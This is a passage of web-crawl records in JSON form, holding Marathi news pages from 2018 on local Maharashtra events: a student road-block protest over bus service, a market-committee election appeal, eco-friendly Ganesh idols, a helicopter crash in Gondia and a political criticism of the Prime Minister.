0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Satara/karad-near-student-road-block-protest-for-st-bus-issue/", "date_download": "2018-09-25T17:11:12Z", "digest": "sha1:2O73QGWL2N75NXOZJHPX7T5FBXWLMYKW", "length": 5855, "nlines": 35, "source_domain": "www.pudhari.news", "title": " संतप्त विद्यार्थिनींचा कराड - चिपळूण मार्गावर रास्‍तारोको | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Satara › संतप्त विद्यार्थिनींचा कराड - चिपळूण मार्गावर रास्‍तारोको\nसंतप्त विद्यार्थिनींचा कराड - चिपळूण मार्गावर रास्‍तारोको\nवसंतगड (ता. कराड, जि. सातारा) येथे सकाळी सात वाजता जादा एसटी सुरू करावी, अशी मागणी करण्यासाठी गेलेल्या महाविद्यालयीन विद्यार्थीनींना महाराष्ट्र राज्य परिवहन महामंडळाच्या एका अधिकाऱ्याने अपशब्द वापरल्याची धक्कादायक घटना गुरुवारी समोर आली. या घटनेमुळे संतप्त विद्यार्थिनींनी कराड - चिपळूण मार्गावर सुमारे चार तास एसटीची वाहतूक पूर्णपणे ठप्प पाडली होती. अखेर संबंधित अधिकाऱ्याने माफी मागितल्यानंतर कराड - चिपळूण मार्गावरील वाहतूक पूर्ववत झाली.\nदरवर्षीप्रमाणे यावेळीही जादा एसटी सुरू करण्याच्या मागणीसाठी बुधवारी वसंतगड परिसरातील विद्यार्थीनींनी महाराष्ट्र राज्य परिवहन महामंडळाच्या एका अधिकाऱ्याची भेट घेतली. त्यावेळी त्या अधिकाऱ्याने विद्यार्थिनींना अपमानास्पद वागणूक देत अवमानकारक शब्द वापरले. त्यामुळे वसंतगड परिसरातील विद्यार्थीनींनी संतप्त होत आज गुरूवारी सकाळी सहा वाजल्यापासून वसंतगड येथे कराड - चिपळूण मार्गावर ठिय्या मारत केवळ एसटी वाहतूक बंद पाडली. संबंधित अधिकाऱ्याने माफी मागावी अशी मागणी करत सकाळी सहा ते दहा वाजेपर्यंतच्या चार तासात एसटी वाहतूक ठप्प करण्यात आली. यामुळे परिसरात तणावपूर्ण परिस्थिती निर्माण झाली होती. कराड - चिपळूण मार्गावर लांब पल्ल्याच्या एसटी सोडून देत कराड, पाटण तालुक्यातील गावातून येणाऱ्या एसटी रोखण्यात आल्या होत्या. यामुळे प्रवाशांचे हाल झाले. मात्र संबंधित अधिकार्‍याने माफी मागितल्‍याने आंदोलन मागे घेण्यात आले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/bajar-samiti-Invalid-Form-Decision-on-today/", "date_download": "2018-09-25T17:10:52Z", "digest": "sha1:3YQ7GFLLZSLQ6ZIC44MVBPFAPNJ3BJ6A", "length": 5891, "nlines": 36, "source_domain": "www.pudhari.news", "title": " अर्जबाद संचालकांचा आज फैसला | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › अर्जबाद संचालकांचा आज फैसला\nअर्जबाद संचालकांचा आज फैसला\nसोलापूर कृषी उत्पन्‍न बाजार समितीच्या निवडणुकीसाठी जवळपास सात संचालकांचे अर्ज निवडणूक निर्णय अधिकारी ज्योती पाटील यांनी अवैध ठरविले होते. त्या सर्वांनी मुंबई उच्च न्यायालयाच्या निर्देशानंतर निवडणूक निर्णय अधिकार्‍यांकडे अपील दाखल केले असून, त्यावर निवडणूक निर्णय अधिकारी तथा जिल्हाधिकारी शुक्रवारी फैसला सुनावणार आहेत. त्यामुळे अपीलकर्त्यांचे अर्ज मंजूर होणार की पुन्हा नामंजूर होणार, याकडे सर्वांचे लक्ष लागून राहिले आहे.\nसोलापूर कृषी उत्पन्‍न बाजार समितीच्या निवडणुकीत माजी चेअरमन दिलीप माने, इंदुमती अलगोंडा, अशोक देवकते, अविनाश मार्तंडे, सिद्धाराम चाकोते, इसापुरे आणि मिलिंद मुळे यांचे अर्ज निवडणूक निर्णय अधिकारी ज्योती पाटील यांनी थकबाकीचे कारण सांगून अवैध ठरविले होते.\nया विरोधात माने यांनी मुंबई उच्च न्यायालयात धाव घेतली होती. मानेंच्या अर्जावर योग्य निर्णय घेण्याचे निर्देश न्यायालयाने निवडणूक निर्णय अधिकारी तथा जिल्हाधिकारी यांना देतानाच निर्देशपत्रात प्रक्रियेवर ताशेरे ओढले होते. न्यायालयाच्या निर्देशानुसार अर्ज बाद झालेल्या संचालकांनी गुरुवारी अपील दाखल केले असून, त्यावर शुक्रवारी निर्णय होणार आहे. या निवडणुकीत व्ही.एन. गायकवाड आणि राजकुमार वाघमारे यांनीदेखील अर्ज भरलेला आहे. हे दोघेही शिक्षक असून, त्यांनी शिक्षणाधिकार्‍यांची परवानगी घेतली नसल्याची बाबही उघडकीस आली आहे. त्यामुळे त्यांचेदेखील अर्ज अवैध ठरविण्यात आले होते. या दोन शिक्षकांनीही निवडणूक निर्णय अधिकार्‍यांकडे अपील केले असून त्यांच्या अर्जावरही निर्णय दिला जाणार आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/eco-friendly-ganesha-2/", "date_download": "2018-09-25T17:06:52Z", "digest": "sha1:Z44G7FT2TSNPUR3OBOL4UYWKNJP25VIF", "length": 22372, "nlines": 264, "source_domain": "www.saamana.com", "title": "पर्यावरणपूरक बाप्पा! | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : अंबाती रायडू अर्धशतकानंतर बाद\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nस्वतःच्या हाताने बाप्पा साकारणे… किती सुंदर कल्पकता… छोटीशी शाडूची मूर्ती आपल्या हाताने तयार करून त्याची पूजा करणे ही खऱया अर्थाने गणेशपूजा. पर्यावरणाची कोणतीही हानी न होता बाप्पाचा उत्सव असाही साजरा होऊ शकतो… आपणही प्रयत्न करून पाहायला काय हरकत आहे…\nतयार केलेल्या मूर्तीची पूजा करणार\nमी अकरावीची एस. पी. महाविद्यालयाची विद्यार्थिनी आहे. मला शाडूची मूर्ती बनविण्याची उत्सुकता होती. पहिलाच प्रयत्न म्हणून शाडूची मूर्ती तयार केली आणि ती घरच्यांना आवडलीदेखील. यापुढे दरवर्षी मूर्ती तयार करण्याचा विचार आहे. शाडूच्या मातीपासून ही मूर्ती तयार केली असून दीड तासात ती पूर्ण केली. आई-बाबांना माझी मूर्ती प्रचंड आवडली आहे. ही मूर्ती घरीच बसवणार आहे. माझ्या एका मैत्रिणीच्या आईने तशी मूर्ती बनवली होती त्यांचे पाहून मी बनवायला शिकले. मूर्ती करताना त्यात तल्लीन व्हायला हवे. कारण आपण जे अनुभवतो तेच मूर्तीत दिसते. या मूर्तीवर अजून रंगकाम केलेलं नाही, कारण मूर्ती वाळायला वेळ लागते. मूर्तीचे खास आकर्षण डोळे असतात त्यामुळे ते काढणे आव्हानात्मक असते. त्यामुळे चूक होऊ नये म्हणून आधी कागदावर डोळे रेखाटते आणि मग मूर्तीवर रेखाटण्याचा प्रयत्न करते.\nयूटय़ुबच्या मदतीने मूर्ती साकारली\nलहानपणापासून बाप्पा माझा आवडीचा आहे. पण त्याची मूर्ती साकारण्याची माझी मनापासून इच्छा होती. त्यासाठी यूटय़ुबची मला फार मदत झाली. त्यावर बघत बघत मी यंदा मूर्ती साकरली आहे. मूर्तीसाठी एका दादाकडून मी शाडूची माती मागवली आणि मूर्ती घरीच बनविण्याचा छोटा प्रयत्न केला. माझी हौस, माझी आवड म्हणून ही मूर्ती मी तयार केली आहे. या मूर्तीला रंग देण्यासाठी माझ्याकडे सामग्री नाही कारण मी केवळ आवड म्हणून मूर्ती साकारल्या. त्यामुळे रंग देण्याचा विचार केलेला नाही. पण मूर्ती माझ्या हाताने घडवायची त्याला आकार द्यायचा ही हौस भागली आहे आणि सुंदर मूर्ती साकारली. सध्या मी बारावीला आहे. पुढे जाऊन मला जे.जे. स्कूल ऑफ आर्टस्ला शिकून भविष्यात चांगला फाईन आर्टस् करायचे आहे. कुठल्याही कार्यशाळेत कधी गेलो नाही, पण मूर्तीशाळांना भेट दिली आहे. तिथे जाऊन त्या मूर्तिकारांच्या कलेचे निरीक्षण करणे ते काय करतात, कसे करतात याकडे लक्ष देतो. ही मूर्ती साधारण एक दीड फुटाची आहे. ती घडवायला साधारण दोन ते तीन दिवस लागले. माझ्या घरी गणपती बसतो त्यामुळे हिच मूर्ती बनवून ती घरी ठेवण्याचा दादाने सल्ला दिला, पण अजून मी परफेक्ट नाही. ज्यावेळी तो परफेक्टपणा येईल त्यावेळी नक्की ठेवेन. किमान पुढच्या वर्षी तसा प्रयत्न असेल.\nसाहिल नांदगावकर, चारकोप कांदिवली\nचौदाव्या वर्षापासून मूर्ती घडवतो\nमी वयाच्या चौदाव्या वर्षापासून पर्यावरणपूरक गणेशमूर्ती तयार करतो. त्यासोबत सामाजिक संदेशही देत असतो. लोकांना कागदाच्या मूर्तींची भीती वाटते त्याला चांगले फिनीशिंग येणार नाही असा समज असतो. पण त्यांचा हा समज मी चुकीचा ठरवला. कागदाची मूर्तीही सुबक आणि आकर्षक बनते. शाळेत असताना आई बाबा मला पॉकिट मनी द्यायचे. ते पैसे वाचवून मित्रांच्या मदतीने घरी मूर्ती तयार करायला सुरुवात केली. तारेच्या स्ट्रक्चरवर बांबूच्या मदतीने आकार बनवून घेतला. जेव्हा स्ट्रक्चर बनवले तेव्हा 8 फुटांची मूर्ती घरात बनवली. शाळेत जायचो आणि शाळेतून घरी आल्यावर मूर्तीचे काम करायचो. आमच्या भागातले आमदार घरी गणपती पहायला आले. त्यांनाही आवडले. नंतर आम्ही मंडळ स्थापन करून तिथे 37 फुटाची पहिली मूर्ती झाली तेव्हा मी चौदा वर्षांचा होतो. सगळ्या मित्रांनी मदत केली होती. टाकाऊपासून टिकावू असा त्यातून संदेश देतो. तिथून प्रवास सुरु झाला तो आजही सुरू आहे. यावेळी दीडशे मूर्ती डिझाईन केल्या आहेत. गेल्यावर्षी वाळलेल्या पानांची मूर्ती तयार केली होती.\nविक्रांत साळसकर, सायन चुनाभट्टी\nसामनाचे यूट्युब चॅनल सबस्क्राइब करा\nमागीलमोरया… दहिसर ते भाईंदर मेट्रोला मंजुरी\nपुढीलसोनाली साकारणार सुलोचनादीदींची भूमिका\nसंबंधित बातम्या या पब्लिशरकडून आणखी\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nदाभोलकरांच्या हत्येसंदर्भातील धक्कादायक माहिती उघड\nराखी सावंतची आचरट इच्छा\nप्रणयच्या हत्येनंतर आता त्याच्या पुतळ्यावरून वाद\nनोबेलसाठी पंतप्रधान मोदींच्या नावाची शिफारस\nमोदींच्या बुलेट ट्रेनला जपाननेच लावला ब्रेक, निधी रोखला\nगणेश विसर्जन मिरवणुकीत मोबाईल चोरी करणारी परराज्यातील टोळी जेरबंद\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nभाजप नेत्याच्या मुलीच्या फोटोंमुळे तरुण पाकिस्तानी सुंदरीलाही विसरले\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nमुंबई | ठाणे | कोकण | पुणे\nनाशिक | संभाजीनगर | नागपूर\nदेश | विदेश | क्रीडा\nसामना भवन, दैनिक सामना मार्ग, प्रभादेवी,\nमुंबई – ४०० ०२५\nटेलीफोन: (०२२) ६६८८ ५५५५\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/pune/raj-thackrey-commented-on-selfie-and-camera-funny-raj-specch-294430.html", "date_download": "2018-09-25T17:06:07Z", "digest": "sha1:H5UJL5CU5BPLOX7KJ6E6HV5UDH5LJV2K", "length": 1803, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - 'मला कोणाचा खून करायला सांगितलं तर मी...' - राज ठाकरे–News18 Lokmat", "raw_content": "\n'मला कोणाचा खून करायला सांगितलं तर मी...' - राज ठाकरे\nमला एखाद्याचा खून करायला सांगितलं तर... \nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/maharastra/two-died-in-helicopter-crash-in-maharashtra-259149.html", "date_download": "2018-09-25T16:54:52Z", "digest": "sha1:PRSCRCOD245DPYOZU2EOMLNZ24GYR2HB", "length": 11762, "nlines": 124, "source_domain": "lokmat.news18.com", "title": "गोंदियात हेलिकॉप्टर कोसळलं, दोघांचा मृत्यू", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nगोंदियात हेलिकॉप्टर कोसळलं, दोघांचा मृत्यू\n26 एप्रिल : गोंदियातील बिरसीमध्ये नॅशनल फ्लाईंग अकॅडमीचं हेलिकॉप्टर कोसळलं. प्रशिक्षणादरम्यान आज सकाळी 9 वाजता हा अपघात झाला असून यात एका महिला विद्यार्थी आणि प्रशिक्षकाचा मृत्यू झाला आहे.\nगोंदियातील बिरसी प्रशिक्षण केंद्राच्या हेलिकॉप्टरद्वारे ट्रेनिंग सुरु होतं. हेलिकॉप्टर धापेवाडा देवरी नदीपात्राजवळ आल्यावर कोसळलं. यावेळी हेलिकॉप्टरमध्ये एका प्रशिक्षकासह एक परीक्षार्थी मुलगी होते. त्या दोघांचा या अपघातात मृत्यू झाला आहे.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nTags: #gondiaHelicopter crashmaharashtratwo diedगोंदियानॅशनल फ्लाईंग अकॅडमीहेलिकॉप्टर कोसळलं\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00427.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://lokmat.news18.com/news/article-249295.html", "date_download": "2018-09-25T16:48:11Z", "digest": "sha1:OO3Y6EKMP6EPKYHFIJ6YBFUC7EFXFRDX", "length": 17710, "nlines": 131, "source_domain": "lokmat.news18.com", "title": "पंतप्रधान मोदींचं असंस्कृत विधान -पृथ्वीराज चव्हाण", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nपंतप्रधान मोदींचं असंस्कृत विधान -पृथ्वीराज चव्हाण\n11 फेब्रुवारी : देशाचे पंतप्रधान नरेंद्र मोदी हे माझ्याकडे तुमची जंत्री आहे असं सांगून सगळ्यांना धमकावतं आहे. देशाच्या इतिहासात कोणत्याही पंतप्रधानांनी माजी पंतप्रधानांवर खालच्या स्तराला जाऊ टीका केली. मोदींचं असं वागणं हे असंस्कृतपणाचं आहे अशी टीका माजी मुख्यमंत्री पृथ्वीराज चव्हाण यांनी केली. तसंच शरद पवारांनी भाजपला पाठिंबा दिला होता ते वेदनादायी होतं असंही चव्हाण म्हणाले.\nआयबीएन लोकमतच्या न्यूजरुम चर्चा कार्यक्रमात आज माजी मुख्यमंत्री पृथ्वीराज चव्हाण यांनी हजेरी लावली. यावेळी त्यांनी मुख्यमंत्रिपदाच्या कार्यकाळातील आठवणींना उजाळा दिला. दिल्लीत काम करून राज्यात आल्यानंतर मी अगदी नवखा होतो. त्यामुळे मुख्यमंत्रिपदाचे सूत्र हाती घेतल्यानंतर चांगलाच अभ्यास करावा लागला. माझ्या कामाला सुरुवात केल्यानंतर अनेकांनी पैज लावली की मी टीकेल की नाही. पण, मी माझं काम सुरूच ठेवलं आणि कार्यकाळ पूर्ण केला.\nमाझ्यावर फाईलींवरुन टीका ही झाली. पण मी वैयक्तिक काम करण्यास स्पष्ट नकार दिला. मग तो विरोधक असो अथवा माझ्या पक्षाचे मंत्री असले तरी त्यांच्या वैयक्तिक कामांना मी नकार दिला. त्यामुळे ते नाराज झाले. शरद पवार सारख्या 